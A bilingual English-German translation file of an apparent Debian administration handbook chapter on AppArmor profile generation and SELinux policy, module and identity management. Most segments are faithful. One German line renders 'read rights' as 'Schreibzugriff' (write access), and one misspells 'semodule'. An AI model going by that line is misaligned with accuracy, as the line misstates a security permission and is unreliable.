de-DE: Hier sucht das Programm Leserechte für <filename>/etc/ssl/openssl.cnf</filename>. <command>aa-genprof</command> hat festgestellt, dass diese Erlaubnis auch von mehreren "Abstraktionen" erteilt wurde und bietet sie als Alternative an. Eine Abstraktion bietet einen wiederverwendbaren Satz von Zugriffsregeln, die mehrere gemeinsam genutzte Ressourcen zusammenfassen. In diesem speziellen Fall wird die Datei im Allgemeinen über die Nameservice-bezogenen Funktionen der C-Bibliothek aufgerufen und wir geben "2" ein, um zuerst die Option "#include &lt;abstractions/openssl&gt;" und dann "A" auszuwählen, um sie zuzulassen.

en: Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed <filename>/usr/sbin/dhclient-script</filename> to run with its own profile.
de-DE: Beachten Sie, dass diese Zugriffsanforderung nicht Teil des dhclient-Profils ist, sondern des neuen Profils, das wir erstellt haben, als wir <filename>/usr/sbin/dhclient-script</filename> mit seinem eigenen Profil laufen ließen.

en: After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”.
de-DE: Nach Durchlaufen aller protokollierten Ereignisse bietet das Programm an, alle während des Laufs erstellten Profile zu speichern. In diesem Fall haben wir zwei Profile, die wir mit "Speichern" auf einmal speichern (Sie können sie aber auch einzeln speichern), bevor wir das Programm mit "Beenden" verlassen.

en: <command>aa-genprof</command> is in fact only a smart wrapper around <command>aa-logprof</command>: it creates an empty profile, loads it in complain mode and then run <command>aa-logprof</command> which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.
de-DE: <command>aa-genprof</command> ist eigentlich nur ein intelligenter Wrapper um <command>aa-logprof</command>: er erstellt ein leeres Profil, lädt es im Beschwerdemodus und führt dann <command>aa-logprof</command> aus, das ein Werkzeug ist, um ein Profil basierend auf den protokollierten Profilverletzungen zu aktualisieren. So können Sie dieses Tool später erneut ausführen, um das gerade erstellte Profil zu verbessern.

en: Introduction to SELinux
de-DE: Einführung in SELinux

en: SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.
de-DE: SELinux (<emphasis>Security Enhanced Linux</emphasis>) ist ein System mit <emphasis>Mandatory Access Control</emphasis>, das auf der LSM-Schnittstelle (<emphasis>Linux Security Modules</emphasis>) von Linux aufbaut. In der Praxis befragt der Kernel SELinux vor jedem Systemaufruf, um herauszufinden, ob der Prozess autorisiert ist, den jeweiligen Vorgang auszuführen.

en: SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work.
de-DE: SELinux verwendet einen Satz von Regeln - in ihrer Gesamtheit als <emphasis>Policy</emphasis> bezeichnet - um Vorgänge zu autorisieren oder zu verbieten. Diese Regeln sind schwierig zu erstellen. Glücklicherweise werden zwei Standardregelwerke (<emphasis>targeted</emphasis> und <emphasis>strict</emphasis>) bereitgestellt, die den Großteil der Konfigurierungsarbeit entbehrlich machen.

en: With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.
de-DE: Mit SELinux ist die Verwaltung der Berechtigungen grundsätzlich verschieden von traditionellen Unix-Systemen. Die Berechtigungen eines Prozesses hängen von seinem <emphasis>Sicherheitskontext</emphasis> ab. Der Kontext wird von der <emphasis>Identität</emphasis> des Benutzers bestimmt, der den Prozess gestartet hat, sowie von der <emphasis>Rolle</emphasis> und der <emphasis>Domain</emphasis>, die dem Benutzer zu dieser Zeit übertragen waren. Die Berechtigungen hängen tatsächlich von der Domain ab, aber die Übergänge zwischen den Domains werden von den Rollen kontrolliert. Und schließlich hängen die möglichen Übergänge zwischen den Rollen von der Identität ab.

en: Security contexts and Unix users
de-DE: Sicherheitskontexte und Unix-Nutzer

en: In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domain_t</replaceable></command> (there is usually only a single domain allowed for a given role, the <literal>-t</literal> parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy.
de-DE: Konkret bekommt der Nutzer während der Anmeldung einen Standard-Sicherheitskontext zugewiesen (in Abhängigkeit von den Rollen, die er bestätigen können soll). Dies bestimmt die geltende Domain und damit auch die Domain, der alle neuen Unterprozesse zugeordnet werden. Wenn man die geltende Rolle und die ihr zugeordnete Domain ändern will, muss man den Befehl <command>newrole -r <replaceable>rolle_r</replaceable> -t <replaceable>domain_t</replaceable></command> aufrufen (normalerweise ist nur eine einzige Domain für eine bestimmte Rolle erlaubt, deshalb kann der Parameter <literal>-t</literal> häufig weggelassen werden). Dieser Befehl authentifiziert jemanden, indem er ihn auffordert, sein Passwort einzugeben. Dies hindert Programme daran, selbstständig ihre Rollen zu ändern. Derartige Änderungen sind nur möglich, wenn sie im SELinux-Regelwerk ausdrücklich erlaubt sind.

en: Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).
de-DE: Offensichtlich gelten die Berechtigungen nicht für alle <emphasis>Objekte</emphasis> (Dateien, Verzeichnisse, Sockets, Geräte usw.). Sie können von Objekt zu Objekt unterschiedlich sein. Um dies zu erreichen, ist jedes Objekt einem <emphasis>Typ</emphasis> zugeordnet (dies wird als Kennzeichnung bezeichnet). Die Rechte einer Domain werden somit durch Sätze von Operationen ausgedrückt, die bei diesen Typen erlaubt sind oder nicht (und indirekt bei allen Objekten, die mit dem jeweiligen Typ gekennzeichnet sind).

en: <emphasis>EXTRA</emphasis> Domains and types are equivalent
de-DE: <emphasis>EXTRA</emphasis> Domains und Typen sind gleichwertig

en: Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with <literal>_t</literal> just like objects' types.
de-DE: Intern ist eine Domain nur ein Typ, jedoch ein Typ, der nur für Prozesse gilt. Daher tragen Domains das Suffix <literal>_t</literal>, genau wie Objekttypen.

en: By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.
de-DE: Standardmäßig übernimmt ein Programm die Domain des Nutzers, der es gestartet hat, aber die normalen SELinux-Regeln erwarten, dass viele wichtige Programme in speziell für sie vorgesehenen Domains laufen. Um dies zu erreichen, werden diese ausführbaren Dateien mit einem fest zugeordneten Typ gekennzeichnet (zum Beispiel wird <command>ssh</command> mit <literal>ssh_exec_t</literal> gekennzeichnet und wenn das Programm startet, wechselt es selbstständig in die Domain <literal>ssh_t</literal>). Dieser automatische Vorgang des Domainwechsels ermöglicht es, jedem Programm nur die Berechtigungen zu gewähren, die es benötigt. Dies ist ein wesentliches Prinzip von SELinux.

en: Automatic transitions between domains
de-DE: Selbstständige Übergänge zwischen Domains

en: <emphasis>IN PRACTICE</emphasis> Finding the security context
de-DE: <emphasis>IN DER PRAXIS</emphasis> Den Sicherheitskontext finden

en: <primary>context, security context</primary>
de-DE: <primary>Kontext, Sicherheitskontext</primary>

en: To find the current security context in a shell, you should call <command>id -Z</command>.
de-DE: Um in einer Konsole den aktuellen Sicherheitskontext festzustellen, kann man den Befehl <command>id -Z</command> aufrufen.

en: To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>.
de-DE: Um den Sicherheitskontext eines bestimmten Prozesses festzustellen, kann die Option <literal>Z</literal> des Befehls <command>ps</command> verwendet werden.

en: The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.
de-DE: Das erste Feld enthält durch Doppelpunkte getrennt die Identität, die Rolle, die Domain und die MCS-Stufe. Die MCS-Stufe (<emphasis>Multi-Category Security</emphasis>) ist ein Parameter, der beim Aufbau einer Regel zum Schutz der Vertraulichkeit eingreift, die den Zugriff auf Dateien in Abhängigkeit von ihrer Sensibilität regelt. Dieses Leistungsmerkmal wird in diesem Buch nicht erläutert.

en: Finally, to find the type assigned to a file, you can use <command>ls -Z</command>.
de-DE: Um schließlich auch den Typ festzustellen, der einer Datei zugeordnet ist, kann man den Befehl <command>ls -Z</command> verwenden.

en: It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.
de-DE: Man sollte beachten, dass die Identität und die Rolle, die einer Datei zugewiesen sind, keine besondere Bedeutung haben (sie werden nie benutzt), aber aus Gründen der Einheitlichkeit wird allen Objekten ein vollständiger Sicherheitskontext zugeordnet.

en: Setting Up SELinux
de-DE: SELinux einrichten

en: SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux.
de-DE: Die Unterstützung von SELinux ist in den von Debian bereitgestellten Standard-Kerneln enthalten. Die Kernprogramme von Unix unterstützen SELinux ohne Änderungen. Es ist daher recht einfach, SELinux zu aktivieren.

en: The <emphasis role="pkg">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section).
de-DE: Das Paket <emphasis role="pkg">selinux-policy-default</emphasis> enthält einen Satz von Standardregeln. Standardmäßig beschränkt dieses Regelwerk nur den Zugang für einige besonders gefährdete Dienste. Die Nutzersitzungen sind nicht eingeschränkt und es ist daher unwahrscheinlich, dass SELinux legitime Nutzeraktionen blockieren würde. Dieses erhöht jedoch die Sicherheit von Systemdiensten, die auf dem Rechner laufen. Um ein Regelwerk einzurichten, das den alten „strengen“ Regeln entspricht, müssen Sie nur das Modul <literal>unconfined</literal> deaktivieren (die Modulverwaltung wird in diesem Kapitel ausführlich beschrieben).

en: Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>.
de-DE: Sobald das Regelwerk installiert ist, sollten Sie alle verfügbaren Dateien kennzeichnen (das heißt, sie einem Typ zuzuordnen). Dieser Vorgang muss mit dem Befehl <command>fixfiles relabel</command> von Hand gestartet werden.

en: The SELinux system is now ready. To enable it, you should add the <literal>selinux=1 security=selinux</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot.
de-DE: Das SELinux-System ist nun einsatzbereit. Um es zu aktivieren, sollten Sie den Parameter <literal>selinux=1 security=selinux</literal> zum Linux-Kernel hinzufügen. Der Parameter <literal>audit=1</literal> aktiviert bei SELinux das Protokollieren, durch das alle unterbundenen Vorgänge aufgezeichnet werden. Schließlich bringt der Parameter <literal>enforcing=1</literal> das Regelwerk zur Anwendung: ohne ihn läuft SELinux in seinem standardmäßigen <emphasis>permissive</emphasis>-Modus, bei dem unterbundene Vorgänge zwar protokolliert, aber dennoch ausgeführt werden. Sie sollten daher die Konfigurationsdatei des GRUB-Bootloaders anpassen, indem Sie die gewünschten Parameter anhängen. Ein einfacher Weg, dies zu tun, besteht darin, die Variable <literal>GRUB_CMDLINE_LINUX</literal> in der Datei <filename>/etc/default/grub</filename> zu ändern und dann den Befehl <command>update-grub</command> auszuführen. SELinux ist dann nach einem Neustart aktiv.

en: It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).
de-DE: Es sei darauf hingewiesen, dass das Skript <command>selinux-activate</command> diese Vorgänge automatisiert und das Kennzeichnen der Dateien beim nächsten Rechnerstart erzwingt (wodurch vermieden wird, dass neue nicht gekennzeichnete Dateien erstellt werden, während SELinux noch nicht aktiv ist und das Kennzeichnen noch andauert).

en: Managing an SELinux System
de-DE: Ein SELinux-System verwalten

en: The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command.
de-DE: Das SELinux-Regelwerk ist ein modularer Satz von Regeln und mit seiner Installierung werden automatisch alle relevanten Module entsprechend den bereits installierten Diensten erkannt und aktiviert. Das System ist hierdurch sofort funktionsfähig. Wenn jedoch ein Dienst später als das SELinux-Regelwerk installiert wird, müssen Sie in der Lage sein, das entsprechende Modul manuell zu aktivieren. Hierzu dient der Befehl <command>semodule</command>. Darüber hinaus müssen Sie in der Lage sein, die Rollen festzulegen, die jeder Nutzer bestätigen kann. Dies geschieht mit dem Befehl <command>semanage</command>.

en: Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose.
de-DE: Diese beiden Befehle können somit dazu benutzt werden, die aktuelle SELinux-Konfiguration, die in <filename>/etc/selinux/default/</filename> gespeichert ist, zu ändern. Im Gegensatz zu anderen Konfigurationsdateien, die Sie in <filename>/etc/</filename> finden, dürfen diese Dateien nicht manuell verändert werden. Sie sollten hierzu die für diesen Zweck vorgesehenen Programme verwenden.

en: <emphasis>GOING FURTHER</emphasis> More documentation
de-DE: <emphasis>WEITERE SCHRITTE</emphasis> Weitere Unterlagen

en: Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. <ulink type="block" url="https://selinuxproject.org" />
de-DE: Da die NSA keine offiziellen Unterlagen bereitstellt, hat die Gemeinschaft zum Ausgleich ein Wiki eingerichtet. Es bündelt viele Informationen, jedoch müssen Sie sich bewusst sein, dass die meisten SELinux-Mitwirkenden Fedora-Benutzer sind (bei dem SELinux standardmäßig aktiviert ist). Die Dokumentation neigt daher dazu, sich vor allem mit dieser Distribution zu beschäftigen. <ulink type="block" url="https://selinuxproject.org" />

en: Managing SELinux Modules
de-DE: SELinux-Module verwalten

en: Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. The <emphasis>pp.bz2</emphasis> extension stands for <emphasis>policy package</emphasis> (compressed with bzip2).
de-DE: Verfügbare SELinux-Module sind im Verzeichnis <filename>/usr/share/selinux/default/</filename> gespeichert. Um eines dieser Module in der aktuellen Konfiguration zu aktivieren, sollten Sie den Befehl <command>semodule -i <replaceable>Modul.pp.bz2</replaceable></command> benutzen. Die Erweiterung <emphasis>pp.bz2</emphasis> steht für <emphasis>policy package</emphasis> (komprimiert mit bzip2).

en: Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with <command>semodule -e</command> and disabled with <command>semodule -d</command>.
de-DE: Das Entfernen eines Moduls aus der aktuellen Konfiguration erfolgt mit <command>semodule -r <replaceable>module</replaceable></command>. Letztendlich listet der Befehl <command>semodule -l</command> die aktuell installierten Module auf. Es gibt auch deren Versionsnummern aus. Module können selektiv mit <command>semodul -e</command> aktiviert und mit <command>semodul -d</command> deaktiviert werden.

en: <command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option.
de-DE: <command>semodule</command> lädt die neue Konfiguration unmittelbar, es sei denn, Sie verwenden seine Option <literal>-n</literal>. Es sei darauf hingewiesen, dass das Programm standardmäßig auf die aktuelle Konfiguration wirkt (die unter der Variablen <literal>SELINUXTYPE</literal> in der Datei <filename>/etc/selinux/config</filename> angegeben ist), aber Sie können eine andere ändern, indem Sie sie mit der Option <literal>-s</literal> vorgeben.

en: Managing Identities
de-DE: Identitäten verwalten

en: Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command.
de-DE: Jedes Mal, wenn sich ein Benutzer anmeldet, wird ihm eine SELinux-Identität zugewiesen. Diese bestimmt die Rollen, die er bestätigen kann. Diese beiden Zuordnungen (des Benutzers zur Identität und der Identität zu den Rollen) können mit dem Befehl <command>semanage</command> konfiguriert werden.

en: <command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user.
de-DE: <command>semanage login -l</command> führt die aktuellen Zuordnungen zwischen Benutzerkennungen und SELinux-Identitäten auf. Benutzer, die keinen ausdrücklichen Eintrag haben, erhalten die Identität, die im Eintrag <literal>__default__</literal> angegeben ist. Der Befehl <command>semanage login -a -s user_u <replaceable>benutzer</replaceable></command> ordnet die Identität <emphasis>user_u</emphasis> dem angegebenen Benutzer zu. Schließlich entfernt der Befehl <command>semanage login -d <replaceable>benutzer</replaceable></command> den Zuordnungseintrag, der an diesen Benutzer vergeben war.

en: <command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>.
de-DE: <command>semanage user -l</command> führt die Zuordnungen zwischen den SELinux-Benutzeridentitäten und den erlaubten Rollen auf. Um eine neue Identität hinzuzufügen, ist es erforderlich, sowohl die entsprechenden Rollen als auch ein kennzeichnendes Präfix festzulegen, das dazu benutzt wird, einem Typ persönliche Dateien (<filename>/home/<replaceable>benutzer</replaceable>/*</filename>) zuzuordnen. Als Präfix muss <literal>user</literal>, <literal>staff</literal> oder <literal>sysadm</literal> gewählt werden. Das Präfix „<literal>staff</literal>“ ergibt Dateien des Typs „<literal>staff_home_dir_t</literal>“. Das Erstellen einer neuen SELinux-Benutzeridentität geschieht mit dem Befehl <command>semanage user -a -R <replaceable>rollen</replaceable> -P <replaceable>präfix</replaceable> <replaceable>identität</replaceable></command>. Schließlich kann eine SELinux-Benutzeridentität mit dem Befehl <command>semanage user -d <replaceable>identität</replaceable></command> entfernt werden.

en: Managing File Contexts, Ports and Booleans
de-DE: Dateikontexte, Ports und Boolesche Optionen verwalten

en: Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.
de-DE: Jedes SELinux-Modul stellt einen Satz von Dateibezeichnungsregeln zur Verfügung, aber es ist auch möglich, eigene Bezeichnungsregeln hinzuzufügen, um einen speziellen Fall abzudecken. Wenn Sie zum Beispiel möchten, dass der Webserver in der Lage ist, Dateien innerhalb der <filename>/srv/www/</filename>-Dateihierarchie zu lesen, könnten Sie <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> gefolgt von <command>restorecon -R /srv/www/</command> ausführen. Der erste Befehl registriert die neue Bezeichnungsregel und der zweite gleicht die Dateitypen gemäß den derzeitigen Bezeichnungsregeln an.

en: Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>.
de-DE: Ebenso sind die TCP/UDP-Ports in einer Weise gekennzeichnet, die sicherstellt, dass nur die entsprechenden Daemons an ihnen Verbindungen annehmen können. Wenn Sie zum Beispiel möchten, dass der Web-Server am Port 8080 Verbindungen annehmen kann, sollten Sie den Befehl <command>semanage port -m -t http_port_t -p tcp 8080</command> ausführen.

en: Adapting the Rules
de-DE: Die Regeln anpassen

en: Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>.
de-DE: Da das SELinux-Regelwerk modular ist, könnte es interessant sein, neue Module für (möglicherweise maßgefertigte) Anwendungen zu entwickeln, für die es diese noch nicht gibt. Diese neuen Module würden dann die <emphasis>Referenzrichtlinien</emphasis> ergänzen.

en: To create new modules, the <emphasis role="pkg">selinux-policy-dev</emphasis> package is required, as well as <emphasis role="pkg">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:
de-DE: Zur Erstellung neuer Module werden die Pakete <emphasis role="pkg">selinux-policy-dev</emphasis> und <emphasis role="pkg">selinux-policy-doc</emphasis> benötigt. Letzteres enthält die Dokumentation der Standardregeln (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) und Beispieldateien, die als Vorlagen für die Erstellung neuer Module verwendet werden können. Installieren Sie diese Dateien und untersuchen Sie sie genauer:

en: The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.
de-DE: Die Datei <filename>.te</filename> ist die wichtigste. Sie legt die Regeln fest. Die Datei <filename>.fc</filename> bestimmt die „Dateikontexte“, das heißt, die Typen, die den auf diese Module bezogenen Dateien zugeordnet sind. Die in der Datei <filename>.fc</filename> befindlichen Daten werden während des Dateikennzeichnungsschrittes benutzt. Schließlich legt die Datei <filename>.if</filename> die Schnittstelle der Module fest: es ist ein Satz „öffentlicher Funktionen“, die andere Module verwenden können, um ordnungsgemäß mit dem Modul, das Sie erstellen, zu interagieren.

en: Writing a <filename>.fc</filename> file
de-DE: Eine <filename>.fc</filename>-Datei schreiben

en: Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.
de-DE: Das Lesen des unten stehenden Beispiels sollte genügen, um die Struktur einer derartigen Datei zu verstehen. Sie können reguläre Ausdrücke verwenden, um denselben Sicherheitskontext mehreren Dateien zuzuordnen oder auch einem ganzen Verzeichnisbaum.

en: <filename>example.fc</filename> file
de-DE: <filename>beispiel.fc</filename>-Datei

en: Writing a <filename>.if</filename> File
de-DE: Eine <filename>.if</filename>-Datei schreiben

en: In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files.
de-DE: In unten stehendem Beispiel kontrolliert die erste Schnittstelle („<literal>myapp_domtrans</literal>“), wer die Anwendung ausführen kann. Die zweite („<literal>myapp_read_log</literal>“) gewährt Schreibzugriff auf die Protokolldateien der Anwendung.

en: Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.
de-DE: Jede Schnittstelle muss einen gültigen Regelsatz erzeugen, der in eine <filename>.te</filename>-Datei eingegliedert werden kann. Sie sollten daher alle Typen, die Sie verwenden, festlegen (mit dem Makro <literal>gen_require</literal>) und Standardanweisungen benutzen, um Berechtigungen zu vergeben. Beachten Sie jedoch, dass Sie auch Schnittstellen benutzen können, die von anderen Modulen bereitgestellt werden. Der nächste Abschnitt gibt weitere Erläuterungen darüber, wie diese Berechtigungen ausgedrückt werden können.

en: <filename>example.if</filename> File
de-DE: <filename>beispiel.if</filename>-Datei

en: <emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>
de-DE: <emphasis>DOKUMENTATION</emphasis> Erläuterungen zu den <emphasis>Referenzrichtlinien</emphasis>

en: The <emphasis>reference policy</emphasis> evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. <ulink type="block" url="https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted" />
de-DE: Die <emphasis>Referenzrichtlinien</emphasis> entwickeln sich wie jedes freie Softwareprojekt: auf der Grundlage freiwilliger Beiträge. Das Projekt wird von Tresys gehostet, einem der aktivsten Unternehmen im Bereich SELinux. Sein Wiki enthält Erläuterungen darüber, wie die Regeln strukturiert sind und wie Sie neue erstellen können. <ulink type="block" url="https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted" />

en: Writing a <filename>.te</filename> File
de-DE: Eine <filename>.te</filename>-Datei schreiben

en: Have a look at the <filename>example.te</filename> file:
de-DE: Sehen Sie sich die <filename>example.te</filename>-Datei an:

en: <emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language
de-DE: <emphasis>WEITERE SCHRITTE</emphasis> Die Makrosprache <command>m4</command>

en: To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.
de-DE: Die SELinux-Entwickler verwendeten einen Makro-Befehlsprozessor, um die Richtlinien ordentlich zu strukturieren. Anstatt viele ähnliche <emphasis>allow</emphasis>-Anweisungen zu duplizieren, haben sie „Makrofunktionen“ erstellt, um eine Logik auf höherer Ebene zu verwenden, die auch zu viel leichter lesbaren Richtlinien führt.

en: In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives.
de-DE: Konkret wird <command>m4</command> benutzt, um diese Regeln zu kompilieren. Es führt den umgekehrten Vorgang durch: es erweitert alle diese auf hoher Ebene befindlichen Anweisungen zu einer großen Datenbank von <emphasis>allow</emphasis>-Anweisungen.

en: The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.
de-DE: Die SELinux-„Schnittstellen“ sind lediglich Makrofunktionen, die bei der Kompilierung durch einen Regelsatz ersetzt werden. Desgleichen sind einige Berechtigungen in Wirklichkeit Sätze von Berechtigungen, die bei der Kompilierung durch ihre Werte ersetzt werden.

en: The module must be identified by its name and version number. This directive is required.
de-DE: Das Modul muss mit seinem Namen und seiner Versionsnummer gekennzeichnet sein. Diese Anweisung ist obligatorisch.

en: If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights.
de-DE: Falls das Modul neue Typen einführt, muss es sie mit Anweisungen wie dieser festlegen. Zögern Sie nicht, so viele Typen zu erstellen, wie erforderlich sind, anstatt zu viele nutzlose Berechtigungen zu erteilen.

en: Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain).
de-DE: Diese Schnittstellen legen den Typ <literal>myapp_t</literal> als Prozess-Domain fest, die von jeder mit <literal>myapp_exec_t</literal> gekennzeichneten ausführbaren Datei benutzt werden sollte. Dies fügt diesen Objekten stillschweigend auch ein <literal>exec_type</literal>-Attribut hinzu, das seinerseits anderen Modulen ermöglicht, Berechtigungen zur Ausführung dieser Programme zu gewähren: zum Beispiel erlaubt das <literal>userdomain</literal>-Modul Prozessen mit den Domains <literal>user_t</literal>, <literal>staff_t</literal> und <literal>sysadm_t</literal>, sie auszuführen. Die Domains anderer eingeschränkter Anwendungen sind nicht berechtigt, sie auszuführen, es sei denn, die Regeln gewähren ihnen ähnliche Berechtigungen (dies trifft zum Beispiel auf <command>dpkg</command> mit seiner <literal>dpkg_t</literal>-Domain zu).

